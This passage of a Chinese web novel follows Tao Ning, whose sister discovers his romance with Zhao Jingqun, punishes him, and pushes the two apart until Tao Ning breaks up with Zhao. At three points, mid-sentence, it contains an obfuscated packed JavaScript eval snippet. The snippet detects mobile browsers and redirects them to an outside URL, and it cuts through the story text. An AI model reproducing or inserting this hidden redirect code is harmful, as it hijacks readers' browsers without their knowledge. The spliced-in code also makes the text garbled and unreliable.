照片里的人更是熟悉到让陶圆如坠冰窖,她的呼吸凝固了,一把夺走手机,耳边却充斥着张麻子得意和泄恨的叫声:“你看看啊,我说的没错吧?你们家那个城里来的男的,和你弟弟搞在一起了,啧啧啧,这要是传出去,你弟别说去城里读书了,恐怕会被当成神经病抓起来吧……” 啪嗒一声,手机摔到了地上。 就像一个新鲜的苹果摔到了地上,没有四分五裂,却再也不能吃了。 陶柠把苹果从水泥地上捡起来,揉了揉小檬的头发,温和道:“没关系,我去厨房洗一下,再把这半边切掉。” 小檬瘪着嘴,眼角挂着泪,抱住他的腿撒娇:“舅舅你真好,要是妈妈在这里,肯定要骂我了……但是妈妈怎么还没有回来?” 离陶圆出去已经三个多小时了,按照以前的时间,九点左右陶圆差不多就回来了,只是现在时针指向十点了,也没有看见陶圆的人影,而且今天的夜晚又刮起大风了,树枝簌簌作响,响个不停。 陶柠微蹙眉,“我等下给阿姐打个电话,你先回房间睡觉,我等会把苹果送过去。” 小檬乖巧地点头,迈着小短腿回房间了。 他一走,身后就贴上来炽热的气息,赵静群抱着陶柠的腰肢,咬他的耳朵问:“呆宝,怎么了?” “阿姐还没回家,我等会要给她打个电话。” “但你姐的手机放电视柜上了……我来洗。”赵静群把陶圆摔坏了的苹果拿走,牵着他的手去厨房,然后熟练地用刀把摔坏的部分切掉了。 他切下一小块,喂给了看起来又呆又愣的陶柠,“好吃么?” 陶柠鼓起一边嘴,像只被投食的小松鼠,嚼了嚼咽下去了,呆呆地说:“好吃……不用给我,这是给小檬的。” “可这是我买的。”赵静群轻笑,“那里还有很多,等会再给他洗一个。” 陶柠无法反驳,只好看着赵静群把摔坏的半边全部切掉了,然后把我安好无损的半边切成好几小块,一块一块喂给他。 到了最后一块的时候,陶柠没有等来苹果,来到他唇边的,是男人炽热凶狠的亲吻。 好半晌,赵静群才放开他,牵着他的手去正堂,还没踏进门槛,就看见悄无声息坐在餐桌旁的陶圆。 昏黄的灯光下,清瘦的女人头发凌乱,脸颊旁还多了几条划痕,有血渍干涸了,她面色惨白,双目里满是复杂、不解…… 最多的,是痛苦。 那样豪放不羁,把所有的刺扎向外人,唯独把温柔和爱留给弟弟和儿子的女人,此刻却像忽然老了几十岁,瘦到骨头清晰可见的腰直不起来了。 陶柠睁大了双眸,那颗自始至终毫无波澜的心脏忽地动了一下,他迅速挣脱男人的手,冲过去来到她身边,小心翼翼问:“阿姐……你、你怎么了?” 听到声音,仿佛变成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859541|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一具木偶的女人好似惊醒,她的眼珠子动了动,扭过头,红肿的眼睛盯着陶柠。 女人仔仔细细,一点儿也不落地打量陶柠,这是她从小拉扯到大的弟弟,可以说是她半个儿子,虽然他们两人相差的年纪的确可以做母子了。 即使他们之间没有丝毫血缘关系,可这是她小时候宁愿自己饿着,也要给那时还是小不点买糖吃的弟弟啊。 因为家里穷,她作为长姐,读完四五年级就没有读了,知道外出打工的苦,所以攒了很多年的钱送陶柠去读书。 陶柠也没有辜负她的期望,成绩拔尖,听话懂事,所有老师都对他赞不绝口,说他是数学天才,未来有大好的前途。 那时陶圆高兴得要命,每天在工厂里麻木做十几个小时的衣服,半夜抹的泪水,通通都值了。 后来爸妈去世,家彻底散了,她和陶柠从此真正意义上的相依为命,一直到现在,好日子终于要来了,陶柠可以不用掏一分学费就可以去大城市读书了……可为什么,他要和男的在一起呢?他不知道那是神经病才能干出来的事吗?! 他本该有大好的前途啊! 陶圆看着看着,忍住了几乎要夺眶而出的泪水,她重重地吸了一口气,挤出一个笑,“没什么,傻小子,快去睡吧。” 陶柠不信她的话,正想多问,可女人已经摇摇晃晃地站起来,回房间了。 他怔怔地看着陶圆佝偻着背离开,有些哑言,直到赵静群把他揽入怀中,轻声哄着他:“明天再问好不好?今天太晚了,该睡觉了。” “……嗯。” 次日醒来,陶圆把小檬送去学校后,接着三人又去山上了,这是最后一次采摘柠檬。 陶柠问起昨天的事,陶圆只说在路上摔了一跤,其他的没有多说。 他皱起眉,总觉得是发生了什么事情,但是陶圆总说他是个闷葫芦,可一旦遇到难事,陶圆只会比他还要憋着,只想自己扛过去。 看着陶柠忧心忡忡的模样,赵静群心里发疼,在背后勾起他的小拇指,只想把少年抱进怀里哄一哄,逗他开心。 但陶圆还在前面,男人只好忍下急躁和心疼。 今天天气不好,黑云也压的很低,狂风大作,吹得树枝互相拍打得厉害。 陶圆面色平静说:“我先下山去接小檬放学,带两把伞过来。你们要是碰上大雨了,就去附近王婆家躲着,知道不?” 陶柠点了点头,目送她离开。 陶圆刚走,四下彻底没有人了,赵静群再也忍不住抱住陶柠,拍着他的背轻声哄着:“乖,笑一下好么?”他看着心里难受。 怀里的人抬起头,露出那双潋滟清澈的双眸,里面带了困惑,卷翘的睫毛眨了眨,显然是对他总是无厘头的要求感到无奈。 赵静群眼底溢出几丝幽暗,他捂住陶柠的双眸,再也克制不住吻上怀中人柔软的唇畔,呼吸交缠间,仿佛要与他同生共死,天荒地老。 狂风大作下,女人冰冷的声音在他们身后平静地响起,“陶柠。” 她只是叫了陶柠的名字,仅仅两个字而已,语气那么平静,却在狂风中如此清晰,仿佛用尽了全身的力气,才喊出了这个名字。 正在接吻的两人好似晴天霹雳,陶柠迅速推开禁锢他的男人,猛地回过头,一向没什么表情是脸上露出几分愕然:“阿姐?你……” 他话还未落,一阵疾风就已经冲脸颊上袭来了,但巴掌到了半空中,又被赵静群的手截住。 赵静群沉着眼,“不关他的事,一切是我……” 啪的一声响! 重重的巴掌已经落在了他脸上,陶圆收回颤抖的手,喘着气,双目猩红地看着完全愣住的陶柠。 她歇斯底里质问这个被她当作宝一样护着的弟弟,“陶柠,你是不是疯了?!你怎么能和男的搞在一起?你忘了我之前是怎么护着你的吗?!你是不是疯了?!你知不知道你是在毁了你自己啊?!你吃了那么多苦才走到今天,你怎么能和男人搞在一块呢……” 说着说着,女人像是被抽走了灵魂,她弯下腰,捂着脸大声哭了起来。 狂风依旧急切猛烈,吹乱了山上的树林,也吹乱了槐树的树枝,而那高不可及的树枝上,挂着两块红绸,如两只游鱼致死交缠,红绸上露出被镌刻的字迹,其中一条上笔锋凌厉,写着—— “吾爱陶柠,愿与他长相厮守,相伴一生,不离不弃。” “落笔:赵静群。” 20. 第 20 章 狂风还在继续,天要下大暴雨了。陶柠迅速反应过来,冲上前抓住陶圆的手腕,柔软的声音里满是慌乱:“阿姐......我们先回去吧。” 陶圆止住浑身的颤抖,她微抬起头,看着眼前已经长成亭亭玉立小树的弟弟,他戴着的眼镜却不再是自己买的了,曾经她以为是赵静群人好,现在看来,他们的目的是一样的。 她知道陶柠的模样过于出类拔萃,为此从小招来了无数人肮脏的心思,她特意给陶柠买土气的眼镜,土气的衣服,希望他除了学习,其他地方不要扎眼。因为陶圆走出大山过,知道外面的世界复杂多变,充满了诱惑。 她不希望自己的弟弟会被肮脏恶心的事情和人毁掉。 赵静群的目的和她是一样的,只是他是因为占有欲和嫉妒...... 以往所有忽略的细节都纷至沓来,陶圆心底积攒的怒火变成了即将喷发的岩浆,她反手抓住陶柠的手腕,细瘦到骨头骨头的手绷得很紧,冷眼看着他身后的男人,“你现在马上和我走,让他别跟着!”说完,她用力拽着陶柠离开。 身后的赵静群盯着陶柠被抓红的手腕,眉头拧得很紧,可嘴唇微张,最终没能说出口。 狂风大作,吹得四周的树林发出了凄厉的叫声,他的身影在群山包围之下,再次恢复成以往的孤寂,那双漆黑的眸子凝视少年清瘦的背影渐行渐远。 少年没有回过头。 他的心跟着一点一点冷下去,虎口的烟疤疼得厉害,疼到赵静群捂着手蹲在了原地,双目逐渐猩红,眼底是再也藏不住的痛苦。 然而也正因如此,他没有看见走远的少年侧过头,似乎想再看他一眼,却被陶圆呵斥了:“还看?!陶柠,你回去后老实点立刻去爸妈面前跪着,什么时候知道错了.......” “这不是错,阿姐。” 少年的声音很轻,却像一块巨大的石头,在本就要爆发的湖水中激起了千层浪。 “啪嗒”一声,陶圆甩开他的手,扬起的巴掌要落在少年的脸上时,想起他的病,又硬生生放下去了,却指着他的鼻子臭骂:“他是给你下什么药了你这么为他说话?男的能有几个好东西你自己是个男的你自己心里不清楚吗?!我告诉你陶柠,你要是不断了你心里头那些神经病的想法,你也别想去读书了!” 她骂完这一通后,再也不看陶柠一眼,转身走了。陶柠怔怔地看着她离开,仿佛机器运转的心里,有一个齿轮松动了。 在无人知晓的地方,有声音机械地报出一串数字: 【恭喜,编号510的自主情感值达到31.5%......】 老旧电视机上正播放儿童频道,主持人夸张地念着“小朋友们,跟着我念,三十一、三十二.....” 小檬摇晃着脑袋,字正腔圆地念着:“三十三、三十四。” 大门忽然被人打开了,呼啸的风卷着落叶吹进了家门,小檬扭过头,眼睛一亮冲了过去,抱着陶圆的腿,“妈妈,你回来了?舅舅呢......” 小檬探出头,却看见站在门口像一缕幽魂的陶柠,他过来,却没有说话,而是径直走到供桌前,朝两张遗像重重跪了下去。 扑通一声响,少年跪地的声音清晰可闻,却没有听到他发出一丝痛呼,只是因为皮肤细嫩脆弱,冰冷的水泥地上,细小的碎石与肌肤相撞,瞬间的疼痛令陶柠忍不住蹙起眉,身体也跟着抖了一下,背影却始终如常青的松树,脊梁挺得笔直。 小檬要心疼坏了,正要把陶柠拉起来,却被陶圆一把扯住了,他回过头,才发现以往总是笑脸的妈妈此刻双眼通红,浑身似有灰暗笼罩。 “妈妈......” 她抓着小檬的手往房间里带,压着怒火低吼:“这里没你的事,给我回房间写作业去!等会我来房间检查,你要是敢瞎写,你也给我跪在这里,快去!” 小檬不明白发生了什么,但家里的氛围好似狂风骤雨来临前的压抑,他被推到了房间去,透过门缝最后一眼看到的,是少年跪在地上,倔强与平静交织的侧颜。 哗啦哗啦,酝酿了许久的暴雨终于落下了,黄豆大小的雨滴拍打在玻璃床上,嘎吱作响,就像一座又一座古旧死板的深山,无论暴雨如何冲唰,始终顽固地扎根在土地上。 陶柠的膝盖已经痛到麻木,恍惚间,他忽然想起来,男人说要和他在一起的时候,天气也像今天这般混乱、压抑,他被压在那块巨大的石头底下时,头一次感受到了绝望是什么样的滋味。 他问系统:【我会死吗?】 话一向很多的系统却破天荒地始终没有回应,就当陶柠以为自己可能会死时,石头被打开了,下一秒,男人满手是血,跌跌撞撞地跑过来,抱着他浑身发抖说:“我们在一起吧。” 陶柠形容不出当时是什么感受,其实从小到大他的情绪感知能力极低,好在他的学习能力很好,别人笑的时候,他会笑,别人哭的时候,他就跟着掉眼泪。 他把情绪转化为特定时候需要的东西,比如在养父母去世的时候,他知道该哭了,所以他那天哭到眼睛红肿,比如小檬出生的时候,他知道该笑了,所以那天高兴了很久...... 可现在呢?是该笑 ......还是该哭呢? 陶柠无法理解,脑袋也好似被塞入了几朵棉花,堵住了他思考的能力,有些昏昏沉沉的,以至于身体出现了几分摇晃,但他强撑着疲惫,没有倒下去。 直到身后传来陶圆冷静的声音:“东西我都给你收拾好了,我现在送你去书记家,那些钱我们家也不会收,都给你放行李里面去了,走吧。” 淅淅沥沥的雨声中,男人站在门外,说话的声音有些听不真切:“......陶圆,你弟的身体不能跪,我可以走,但你要让他先起来。” 随即是女人近乎嘶吼的声音:“你够了!我弟弟现在和你半毛钱关系都没有,你少在这儿装模作样......”说着说着,她又低声哭了起来,语气里终于带了几分恳求。 “......你走吧赵静群,算我这个做姐姐的求你,你就算不能理解我,如果......如果你真的喜欢他,就替他好好想想,我们家不像你们城里人有钱有后路,家里从小穷到大,尤其是陶柠,我不知道他有没有和你说过,他是我们家捡来的孩子.....” 女人哽咽着,哭声好似一柄尖刺,刺伤自己,也在毫不犹豫刺向他人:“陶柠还是婴儿大的时候被我爸捡回来,他是我们老陶家唯一的男孩子,是我们家未来的根你知道吗?他那么小......” 她用手比在自己膝盖的位置,接着哭着说:“这么一丁点儿大的时候就已经很懂事了,他从来没让我们操心过,四五岁就会帮我们做饭洗衣服,就算他后来十一二岁才读的书,成绩也是学校里最好的,跳了很多级,拿了很多奖状,你看见他房间里那些奖状了吧?” “他那么优秀,对我们这种家庭的人来说,读书是他唯一的出路,不像你们有钱人那样有许多选择。”她说着说着,声音又平静下去,“你放过他吧,我弟弟不能被人戳脊梁骨,一旦你们的事被人发现他就是死路一条,如果你真的喜欢他,以后就不要出现在他面前了。” 最后一个字落下后,四周仿佛陷入了死寂。 雨水把站在门外一动也不动的男人浑身都淋透了,深邃凌厉的五官上沾满了咸涩的雨珠,狼狈不堪的样子好似被人拽进入无解的旋涡。 他弯下一条腿,紧接着,双腿跪了下去,朝陶家正堂的方向磕了一个头,但男人什么也没有说,仿佛在用无声的沉默对抗顽固封建的深山。 这时候,他磕头的那瞬间,女人的尖叫和小檬的慌乱声传来了,“柠柠!”“舅舅!舅舅你怎么了......” 陶圆还没跑过去,身旁忽然冲出一道人影,赵静群已经把昏过去的陶柠打横抱起来,他沉着脸说:“带好衣服去卫生所。” 见少年脸上升起不正常的红晕,陶圆吓得六神无主,顿时什么火气都没有了,她虽然心里膈应赵静群还抱着弟弟,但此时此刻,也管不了那么多了,急忙拿好雨伞带好衣物和钱,把急哭了的小檬塞回房间,然后和赵静群冲进了雨幕里。 他们借了邻居家的电动三轮,一路赶去了镇上的卫生所,最后的结果出来,是陶柠发起高烧了,又加上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859542|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淋雨和吹风,温度飙升到了四十度上下。 陶圆想起少年从小就身体不好,时不时就发烧感冒,流血后血也止不住,现在却暴怒到让他大雨天跪着。 坐在病房外的走廊上,她心中一阵愧疚,掩面哽咽说:“是我不好......”但她不会放弃要让陶柠和赵静群分开的想法,因为她曾经见识过村里有两户男人搞到了一块,短短几天的时间,就传到了山头所有人的耳朵里。 村里人觉得他们是生了病,脑子出了问题,就把他们拖到了精神病院去治病,最后其中一个人死了才收尾。 她害怕弟弟也会是那样的结局,所以她绝不会让陶柠和赵静群在一起。 外面的雨越下越大,仿佛有吞噬天地的预兆,男人把陶柠送到卫生所后,人就不见了,陶圆不想管他去了哪里。 一直等到第二天清晨,病床上的少年转醒,他睁开那双被高温烧到发红的眼眸,看着守在病床前红肿着眼睛的陶圆,轻柔的嗓音变得沙哑:“阿姐,我……” “好了好了,”陶圆勉强扯出一抹笑,朝他轻微摇了摇头,“什么都别说了,那人已经走了……阿姐当作什么事情都没发生过,你现在最重要的事养好身体,我给你煮了粥,先起来喝几口。” “……嗯。” 陶柠苍白的脸平静到像一张白纸,听到赵静群已经走了的消息,眼皮上落下的长睫的阴影抖了一瞬,但这颤抖快到无法令人察觉。 他平静地喝完了粥,其实陶柠做的饭菜味道会不自觉地偏重,但他从来没说过,吃的也不多。 近期长了那么一点肉,是男人做的饭菜合他的胃,所以他胖了一点点。 赵静群在房间里总会把他抱起来掂几下,然后埋在他的颈窝处笑着说:“呆宝,我把你喂胖了。” “……” 最后一勺粥咽下去,陶柠抬起头,发现陶圆坐在椅子上睡着了,她眼角下一片乌黑,就连睡觉也皱着眉头。 他静静地看着,因为还挂着点滴,手背上有针,所以没办法下床把碗洗了。 过了片刻,睡着的女人似乎被惊醒了,她迷迷糊糊睁开眼,看到陶柠还在后松了口气,把碗筷收起来,告诉他:“我回去把小檬安顿好再来陪你,哪里痛了不舒服了就要和医生说,钱我都放你枕头下了。” “好。” 陶圆不放心地又嘱咐了他几句,才提着保温盒离开。 她一走,整间病房里就只剩下陶柠一个人了,方方正正的病房里,他独自坐在病床上,垂着头,露出柔软白皙的后脖颈。 陶柠轻声问:“系统,你在吗?” 很多天没有出过声的系统出现了:【怎么了呆瓜?】 陶柠声音闷闷的:“……有点事情,你这几天去哪儿了?” 系统开心道:【去旅游啊,前几天是我们人工智能的节假日,所以放假了,我拍了很多地球的照片,你要不要看?】 【……晚上看。】 【好吧,那呆瓜你有啥事?】 陶柠纤细的手指蜷缩了一下,片刻,才轻声说:“我想知道赵静群现在还好吗……” 话音刚落,下一瞬,病房的门就被打开了,赵静群站在门外,那双漆黑的眼眸盯着他,一眨也不眨地看着陶柠,仿佛只要眨了眼睛,少年就会从他眼前消失一样。 他无比珍惜地看着,直到他一步一步走过去,握住少年的手,滚烫的温度贴着掌心柔软的肌肤。赵静群那双眼睛里装满了沉甸甸的情愫,止不住地吻着掌心的纤细的手,哑着嗓音说: “呆宝……我们私奔吧?” 病床上的少年垂着眼睛看他,静静的,两个人谁都没有说话,仿佛要沉浸在一场天真而美好的梦里。过了许久,他叫了一声“赵静群。” 男人轻吻他的手,声音里满是眷恋,“我在。” “……你爱我吗?” 男人愣了一下,似乎没有想到陶柠会问这个问题,接着,他像是下定决心,却毫不犹豫回答: “我爱你,陶柠。” “我爱你。” 男人亲吻少年的手,一遍又一遍说:“很爱很爱,我爱你。” 21. 第 21 章 【叮咚!恭喜宿主的攻略任务完成了百分之三十二!请继续努力喔!】 脑海里机械的声音刺耳又冰冷,陶柠沉默而安静地注视着亲吻他手腕的男人,最终,把手抽回去了。 男人垂着头,维持握着他手的姿势没有变过,仿佛一座僵硬的雕塑。 陶柠看不清他脸上的神情,许久,声线轻软:“赵静群……对不起。” 赵静群压低眼帘,始终没有抬眸看他,听到他的话,故作镇静问:“呆宝……我们私奔好吗?去找一个谁都不认识我们的地方,我来供你读书,我发誓,绝不会让你吃半点苦,给我三年时间,我会让你住上星城最好地段的房子,我……” “赵静群。” 简单三个字,分明用很轻很软的声音说出来的,却轻而易举打断了男人急切想证明的话语。 赵静群终于抬头,眼眶却红得吓人,这个眼睛里始终充斥冷漠与狠厉的男人,此刻却像一个即将被抛弃的孩子,有些可怜地看着病床上的陶柠,脸上露出迷茫。 清晨的光线照进来了,将两人的影子映在白色的墙壁上,床上的影子身形清瘦,简单的话说出来,却瞬间让床下高大的影子浑身发颤。 “我们……我们分手吧。” “……为什么?” 赵静群闭了下眼,再睁开,里面的情绪忽然变得平静,就好像什么事情都没有发生过,语气甚至有些强硬:“陶柠,告诉我……为什么?” 过了许久,病房里都没有响起第二个声音,最后,陶柠看着他已经黯淡无光的红色头发,记得初见他时,这头红发张扬肆意,而红发的主人,嘴角总是勾着凉薄的笑,看上去很不好惹。 但只有陶柠知道,他的怀抱有多滚烫炽热,在他家住了一段时间后,这头红发下已经长出黑色的发根了。 他看了许久,最后才说:“因为你的红头发。” 赵静群平静地看着陶柠说话,后者又说了第二遍,“……我不喜欢你的红头发。” ——你的红发很惹眼,会枕在我的大腿上,叫我看有没有长出白发,如果没找到,你就会用这个借口亲吻我。 目光又看向他的耳朵,陶柠继续说:“……不喜欢你的耳钉。” ——你会故意用耳钉蹭我的脖颈,耳钉冰凉的温度在滑腻的肌肤上游走,总是让我很害羞,我推搡你,你却不肯停下。 “我不喜欢……” “够了!陶柠。”赵静群低吼,最后几乎祈求他:“不要再说了……别说了。” 他粗喘着气,病床下的拳头几乎要攥出血来,指甲深陷入肉中,只有疼痛能让他在此时不会失去理智,就像一匹被伴侣驱逐,落得苟延残喘的孤狼,“一定要这样么?” 陶柠沉默着与他对视,良久,很轻很慢地点了下头。 病房里的时针转动了一刻,最后,男人没有再说话,离开了这个地方。 自那以后,陶柠再也没有看见过赵静群,他回家那天晚上,反倒看见了系统给他发的照片。 背景是茫茫宇宙,无数璀璨夺目的星系下,地球宛如一粒毫不起眼的蓝色尘埃,孤单地落在宇宙这片神秘的海洋中。 【系统,还有其他人做这样的攻略任务吗?】 【呃……这个嘛,这是我们研究所的机密,无可奉告。呆瓜,你到底怎么了?】 【没事。】 过了一会儿,系统听见他的宿主又问:【赵静群还好吗?】 【呆瓜,我告诉过你了,你看不见的事情和人,我也没有办法看见。】 【噢。】 陶柠没有再问了,家里他的那间屋子空了一大半,赵静群其实没有把东西带走,唯独那封情书不见了。医院那天后,他就再也没有回来过,陶圆陆陆续续把他原来有的、后来买的东西都送到刘书记家里去了。 但有一个东西陶圆没找到,便是赵静群送他的手机,因为被陶柠给藏起来了。 陶圆当然知道这件事,严肃问他:“手机呢?陶柠,把手机交出来,我们家一根针也不能拿他的。” 被她训斥的少年低垂着头,依旧是那副老样子,不反抗却也不作声,仿佛一只迟钝的蜗牛,受到外界的刺激,就会缩进壳里。 陶圆终究心软了,叹了口气,板着脸说:“算了,那手机应该挺贵,以后拿着卖了能换不少钱……你要是敢背着我和他私底下联系,我就揍你知道吗?手机你也别想要了。” “嗯。” 少年答应陶圆,却会在夜深人静的晚上,盯着手机里没有任何消息的界面发呆,但也只是看了一会儿,就抵抗不了困顿睡过去了。 他恢复了以往的生活,距离暑假结束只剩十天左右了,系统叫他安心等待进城的消息,而陶圆在张罗着要给他办一场欢送宴。 陶柠拒绝了,“在家里吃就好了。” 陶圆说:“那怎么行?你这一去没个一年两年回不来,我去城里不方便,你回家也不方便,以后几个月才能见一次……”说着说着,这个要强的女人眼底再次闪过泪光,“不行,这件事你必须听我的,我明天就联系那些亲戚,把大家都叫过来送你。” 陶柠拗不过她,只能答应了。他一天数着一天的日子,也没再打开过手机,放进进城收拾好的行李了。 小檬舍不得他走,这几天非要和陶柠睡一块,蜷缩进他怀里的时候,会天真地问:“舅舅,飞机是什么样的?妈妈说,城里还有跑得很快的车,那个叫什么呀?” “我不知道。”陶柠摸了摸他的头,看着头顶破旧的水泥天花板,“应该是高铁吧。” “噢……那舅舅……你会坐高铁去城里嘛……”小檬嘟囔着,迷迷糊糊睡着了。 陶柠没有回答,面对全然陌生的东西与领域,他终于生出几分未知的迷惘。 一直到出发前几天,家里突然热闹起来了,首先是那天被陶圆赶走后的李向东回来了,还有陶柠的大姐和二姐,六七年没见,他们拖家带口,带上了陶柠从未见过的外甥和外甥女。 她们喜气洋洋给陶柠祝贺,“哎哟,咱老陶家祖坟可算是冒青烟了,柠柠都要去城里读书啦,还全免学费呢!可给咱们家长脸了!” “是啊是啊,”二姐笑着附和,“咱爸要是在地下知道了,可不得高兴得大喝几碗,他啊,就喜欢有事没事来点小酒……” 被当成景点一样围观的当事人陶柠坐在饭桌上,没有应和,以至于让大姐二姐尴尬到只能干笑着了,屋内吵闹极了,因为一共来了三个小孩子。 有外甥女吵着闹着要吃唯一的鸡腿,另外两个外甥也想吃,但一般情况下,陶圆会把鸡腿夹给小檬和陶柠,但现在一下来了三个孩子,加上小檬和陶柠,不够分了。 二姐为了献殷勤,拍打女儿伸筷子的手:“吃吃吃,就知道吃!什么时候能有你舅舅学习一般好,才配吃这个鸡腿。”说完,讨好地夹起那只鸡腿放到陶柠碗里,乐呵着说:”好柠柠,你吃,多吃点长高,到外头给我们长脸……” 她转了下眼睛,“柠柠啊,你进城后是在哪所学校读啦?资助你的人家你有没有他的电话啦?” 大姐见她抢先,瞬间不乐意了,赶紧招呼两个儿子去包里把买的燕麦牛奶拿过来,“哎哟,这鸡腿有什么好吃的伐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859543|175949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们柠柠要多吃补品……” 这话一说,二姐又不满意了,两个人开始七嘴八舌吵起来,李向东被吵得端着碗出去了,陶圆还在厨房端菜,进来一看两个快打起来了,怒喝:“你们有完没完了?!不吃都给我滚出去!” “大姐,你说话还是那么难听……” 陶柠没胃口吃饭了,默默收拾碗筷离开了正堂,他回到屋子,继续收拾行李,他其实没多少东西,把屋子收拾一圈统共下来,就装了两个麻布袋,还有一个很重的背包。 他坐在床上发呆,手机的界面亮了,陶柠迅速拿起手机,是备注为“老公”的短信—— 【骗子。】 陶柠的心脏动了一瞬,他盯着这两个字发呆,最终没有回复,把手机关机了。 次日下午,陶圆就带着一家人老老少少十多个人去了镇上最大的饭馆,当然,她是提前收了各家亲戚钱的,这也是她最终的目的。 一大家子吃到一半,忽然服务员过来,在陶柠耳边说了句:“小帅哥,有个姓赵的人在门口等你呢。” 陶圆已经喝得晕乎了,但她最近对陶柠的事情格外敏感,看见服务员在他耳边说悄悄话,顿时眼睛一瞪,“干嘛呢陶柠?” 其他人不知道事情的经过,纷纷指责陶圆管弟弟管得太严了,男孩子啊,能有什么事?陶柠面不改色说:“阿姐,饭店给我准备了一个蛋糕,叫我去拿。” 陶圆不耐烦地让其他人闭嘴,听是这种理由,感慨了一下大饭店的服务就是好,然后挥手让他去了。 到了饭店门口,这个时候天其实很黑了,陶柠朝四周张望了一下,瞬间,有人从背后捂住他的嘴,直接打横抱将他抱到了一条小巷子里。 陶柠刚想挣扎,身后传来浓烈熟悉的烟草味将他团团围住,瞬间便放弃了,黑暗之中他能模糊看见男人下巴上的胡青,疲惫沧桑了许多,其次是绷紧的线条,预兆着男人的心情非常不好。 一直把怀里的人抱到一处偏僻的路灯下,赵静群才把他放下来,刚放下,他直接了当地开口:“陶柠,我把头发染黑了,耳钉也全部扔了,现在我的车就在这条巷子外面……你愿不愿意跟我走?” 陶柠征征地看着他,这才发现,眼前人的变化很大,曾经那样张扬似火的红发被染成了黑色,将他身上的痞气遮盖了几分,简单的衬衫长裤,乍一看,竟有几分邻家男孩的味道。 男人耳朵上也干干净净的,什么都不见了。他只用那双漆黑的眸注视过来,里面却满是血丝,嘴唇也干裂到了出血的地步,那双眼睛里有期待、忐忑、惶恐……还有他所说的爱。 这几天他经历了什么?陶柠想问,但没有说话。 于是两人在这条沉闷而昏暗的巷子里彼此注视着,却谁都没有说话,前几天又下了一场很大的雨,屋檐上的水没有干涸,像断了线的珠子不停地落在地上,啪嗒啪嗒,与逐渐凝固的心跳重合了。 直到从很远的地方,传来了陶圆焦急的呼唤,陶柠清醒地明白,该重新回入轨道了。 最终,赵静群看着少年清瘦的背影,一步一步离开了这个昏暗的巷子,他久久无言,身后传来清脆的声音:“哥,我们还不走吗?” 赵静岁踩着高跟鞋过来,她只能看见男人沉默的背影,在黯淡的光线下形只影单,他地上只有影子,除此之外,什么也没有。 “……哥?” 她感到困惑,上前伸手提醒这个对赵家没什么感情的兄长,却看到男人脸上的神情时,半空中的手彻底僵硬。 屋檐上的雨珠持续落下,有嘀嗒的声音。 原来是他哭了。